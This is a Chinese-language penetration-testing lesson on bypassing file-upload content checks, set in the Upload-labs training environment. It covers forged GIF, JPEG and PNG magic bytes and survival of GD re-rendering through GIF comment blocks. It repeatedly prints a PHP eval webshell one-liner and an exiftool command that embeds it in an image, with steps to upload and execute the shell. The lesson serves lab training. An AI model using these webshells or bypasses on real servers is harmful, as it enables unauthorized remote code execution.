以下是第十三周周一学习内容的详细展开。继第十一周全面掌握文件上传攻防后,今天我们进入更深层的漏洞挖掘——不再满足于简单的后缀绕过,而是聚焦于服务器端对文件内容的检测绕过。你将学会如何伪造合法文件头,以及如何绕过二次渲染,让代码在图片处理过程中“幸存”下来。
第十三周·周一:文件内容检测绕过——文件头伪造与二次渲染突破
🎯 今日学习目标(达成效果)
- 能解释为何服务端会通过文件魔术字节(Magic Bytes)来验证文件类型,并清楚其局限性;
- 能独立伪造至少三种常见文件的头部(GIF89a、\xFF\xD8\xFF JPEG、\x89PNG),在 PHP 代码前添加这些头部使文件通过
getimagesize()和finfo的初步检测; - 能描述二次渲染(图片重生成)的原理:服务端使用 GD 库或 ImageMagick 对上传图片进行重新创建,去除原有图片结构中的“杂质”;
- 能制作一个在二次渲染后仍保留 PHP 代码的图片马,通过分析渲染前后文件差异,寻找代码存活的插入点(如 GIF 注释区);
- 能在 Upload-labs 相应关卡(如 Pass-11、Pass-12)中,针对文件头检测和二次渲染进行绕过,成功上传并执行 WebShell;
- 能从防御角度理解:文件内容检测是纵深防御的一环,但不能完全依赖,必须结合白名单后缀、文件重命名、存储目录权限。
📘 一、文件魔术字节检测与绕过原理
1. 什么是魔术字节?
每种文件格式在文件开头都有特定的十六进制标识,称为“魔术字节”或文件头。例如:
| 文件类型 | 魔术字节(十六进制) | 可见字符 |
|---|---|---|
| GIF | 47 49 46 38 39 61 | GIF89a |
| JPEG | FF D8 FF | (不可见) |
| PNG | 89 50 4E 47 0D 0A 1A 0A | .PNG.... |
| 25 50 44 46 | %PDF |
PHP 中的finfo扩展或exif_imagetype()函数通过检查这些字节来判断文件真实类型,即使文件后缀被改,只要头部符合图片格式,它们就会返回对应的 MIME 类型。
2. 为何容易绕过?
finfo只检查文件开头几个字节,并不分析文件整体是否安全。因此攻击者只需在 PHP 代码最前面添加合法文件头,即可通过检测。例如:
GIF89a<?php @eval($_POST['cmd']);?>finfo读到GIF89a,判定为image/gif,放行。而 PHP 解释器从第一个非 PHP 标记字符开始解析,遇到<?php即执行后续代码。
3. 绕过步骤
- 准备 PHP 一句话木马。
- 使用文本编辑器或十六进制编辑器在文件最前面插入
GIF89a。 - 保存为
.php或.jpg(根据靶场要求)。 - 上传并通过检测。
- 访问文件,木马执行。
注意:对于 JPEG 或 PNG,需要插入不可见字符,建议在 Burp 的 Repeater 中直接修改原始十六进制,或在代码中添加\xFF\xD8\xFF等转义序列。但对初学者,使用GIF89a文本头最简单有效。
📘 二、二次渲染绕过原理
1. 什么是二次渲染?
一些安全性更高的 Web 应用,不仅检查文件头,还会使用 GD 库(imagecreatefromjpeg等)对上传的图片进行重新生成(如生成缩略图或优化存储)。这个过程会解析原图的像素数据,然后重新编码输出一张全新的图片。原图中的“冗余数据”或非图像数据(如我们插入的 PHP 代码)会被丢弃。渲染后,即使原文件包含木马,新图片也可能完全干净。
攻击者的挑战:如何在渲染后依然让 PHP 代码保留在图片中?
2. 绕过思路:寻找“不受干扰”的存储区域
每种图片格式都有其结构,渲染库通常只重写图像数据部分,但可能保留某些元数据区域。
- GIF:GIF 标准支持注释区(Comment Extension)。GD 库在重新生成 GIF 时,通常不会修改注释区。攻击者可以将 PHP 代码写入 GIF 的注释块中。渲染后,注释依然存在。
- JPEG:JPEG 有 EXIF 头(如 APP1 段),部分二次渲染会清除 EXIF。但我们可以分析渲染前后 JPEG 的差异,找到不变的字节范围,将代码嵌入其中。这需要对比实验。
- PNG:IDAT 块存储图像数据,通常会被重建。但 PNG 支持辅助数据块(如
tEXt),渲染后可能保留。同样需测试。
3. 实战方法(以 GIF 为例)
- 使用工具(如
010 Editor、hexed.it)或编写 Python 脚本读取原始 GIF 文件,找到注释块插入点。 - 更简单的方法:用
copy命令或cat将多个文件合并,但这种方式容易被渲染清除。应直接在 GIF 的注释区添加代码。 - 可以使用现成的“图片马生成器”或
exiftool插入注释:
但 GD 可能删除 EXIF 注释,更可靠的是利用 GIF 的帧间或纯文本特性。Upload-labs Pass-12 专门练习此技术。exiftool-Comment='<?php @eval($_POST["pass"]);?>'original.gif-opayload.gif
比较法:
- 上传一个正常 GIF,下载服务器返回的渲染后版本。
- 使用
diff或十六进制对比原图和渲染图,找到那些未变化的字节区域。 - 在未变化区域中插入 PHP 代码(避开会导致渲染重新计算的区域,如图像数据区)。
- 重新上传包含代码的 GIF,渲染后查看代码是否存活。
✍️ 三、动手实践:Upload-labs Pass-11 与 Pass-12 绕过
实践 1:Pass-11 —— 文件头检测绕过
关卡描述:仅允许上传
.jpg|.png|.gif,并使用了getimagesize()检查文件头。绕过思路:构造一个包含合法文件头的 PHP 文件。由于
getimagesize只检查文件开头,我们在 PHP 代码前添加GIF89a。操作步骤:
- 创建
shell.php,内容:GIF89a<?php @eval($_POST['cmd']);?> - 尝试直接上传,如果前端不允许
.php,先将文件改名为shell.jpg,再用 Burp 拦截,将filename改回shell.php(因为后端仅校验内容,后缀可能允许.php?注意:Pass-11 后端可能也允许.php,若不允,则后缀改为.jpg,但这样上传后需要配合文件包含才能执行)。 - 若后端同时限制后缀和内容,则上传
shell.jpg(内容为GIF89a<?php ...?>),然后结合文件包含漏洞(若有)执行。或直接上传为.php(如果白名单允许.php,但通常不允许)。 - 访问上传后的文件,若直接为
.php则执行,若为.jpg则寻找包含点。
- 创建
关键:文件头
GIF89a让getimagesize返回非 false,从而绕过检测。
实践 2:Pass-12 —— 二次渲染绕过
- 关卡描述:使用 GD 库对上传图片进行二次渲染。要求上传
.jpg|.png|.gif。 - 绕过思路:寻找 GIF 渲染后不变的注释区。
- 操作步骤:
- 准备一张极小的 GIF 图片(如 1x1 像素)。
- 用十六进制编辑器打开该 GIF,在图形控制扩展之后或注释扩展中插入
<?php phpinfo();?>。GIF 格式允许在图像数据前放置注释块。 - 或者使用以下现成方法:使用
copy /b image.gif + shell.txt combined.gif(Windows)生成合并文件,但渲染后可能代码在尾部被去掉。因为 GD 只重写图像数据,不会重写尾部无关数据(在某些版本)。可测试尾部插入代码是否存活。 - 上传
combined.gif,服务器返回渲染后的文件。下载该文件,用文本编辑器打开查看是否还有<?php代码。 - 如果代码消失,则说明尾部代码被丢弃。此时需要在 GIF 的中间非图像数据区插入。可以使用
010 Editor打开 GIF,找到图形控制扩展块(Graphic Control Extension)或注释扩展块(Comment Extension),在其中植入代码。 - 修改后上传,再次检查渲染后文件。若代码存活,则上传成功。
- 若要执行代码,仍需配合文件包含或
.htaccess解析。
更稳健的方法:Pass-12 通常允许上传.gif,上传后可通过文件包含或解析漏洞执行。我们可以将木马写在 GIF 注释中,然后通过 LFI 包含该 GIF 执行。
记录:绕过二次渲染需要反复对比,非常耗时,但技术含量高,是高级渗透测试人员的必备技能。
📝 四、课后测试题与解析
测试题 1:如何伪造文件头来绕过finfo的文件类型检查?请给出至少一种文件格式的具体实现。
参考答案:
在 PHP 木马文件的最前面添加对应文件格式的魔术字节。例如,要伪装成 GIF 图像,在文件开头写入GIF89a,内容如GIF89a<?php @eval($_POST['cmd']);?>。由于finfo仅检测文件开头的魔术字节,检测到GIF89a即判定为image/gif,从而绕过。对于 JPEG,需要写入十六进制FF D8 FF,可以在代码前加上\xFF\xD8\xFF的二进制数据。
测试题 2:什么是二次渲染?为什么简单的图片马在二次渲染后可能失效?
参考答案:
二次渲染是服务器端在上传图片后,使用图像处理库(如 PHP GD、ImageMagick)对图片进行重新生成或优化的过程。该过程会解析原始图片的像素数据,然后生成一张全新的图片。在这个过程中,图片中不属于图像标准结构的“附加数据”(如尾部追加的 PHP 代码)通常会被丢弃。简单的图片马将木马代码直接追加在图片文件末尾,二次渲染后这些代码会被删除,导致 Webshell 失效。绕过方法是将代码写入图片格式允许的元数据区域(如 GIF 注释块),这些区域在部分渲染过程中可能被保留。
✅ 今日学习效果自检清单
- 我能说出至少三种常见文件的魔术字节
- 我成功伪造文件头,使 PHP 文件通过
getimagesize检测 - 我理解了二次渲染的原理,以及为何尾部追加代码会失效
- 我制作了可绕过二次渲染的 GIF 图片马,并在靶场中验证了代码存活
- 我知道文件内容检测只是防御的一环,不能单独依赖
- 我掌握了通过对比渲染前后文件差异来寻找代码插入点的技巧
⚠️ 阶段避坑重点
- 文件头必须是原始二进制形式:直接在 PHP 代码中写
GIF89a文本可行,但若需要 JPEG 头,必须用十六进制编辑器插入真正的\xFF\xD8\xFF字节,而不是文本。今天以 GIF 练习为主。 - 二次渲染的绕过高度依赖 GD 库版本和配置:不同的 PHP 版本和 GD 库实现可能有不同行为。在实战中需要具体测试目标环境。
- 不要混淆文件头检测与二次渲染:Pass-11 是文件头检测,Pass-12 是二次渲染。前者简单,后者复杂。
- 即使绕过二次渲染,仍可能需要文件包含或解析漏洞才能执行代码:因为后缀通常是
.gif,服务器不解析。提前准备好文件包含点或.htaccess攻击。 - 使用对比工具要耐心:
vbindiff、Beyond Compare等工具可以帮助比较渲染前后文件,务必找到稳定的不变区域。
明天我们将学习条件竞争上传的实战高级技巧,你将结合 Turbo Intruder 与 Python 脚本,在更复杂的环境下实现“毫秒级”的突破。请保留今天制作的图片马,明天的组合攻击可能还会用到。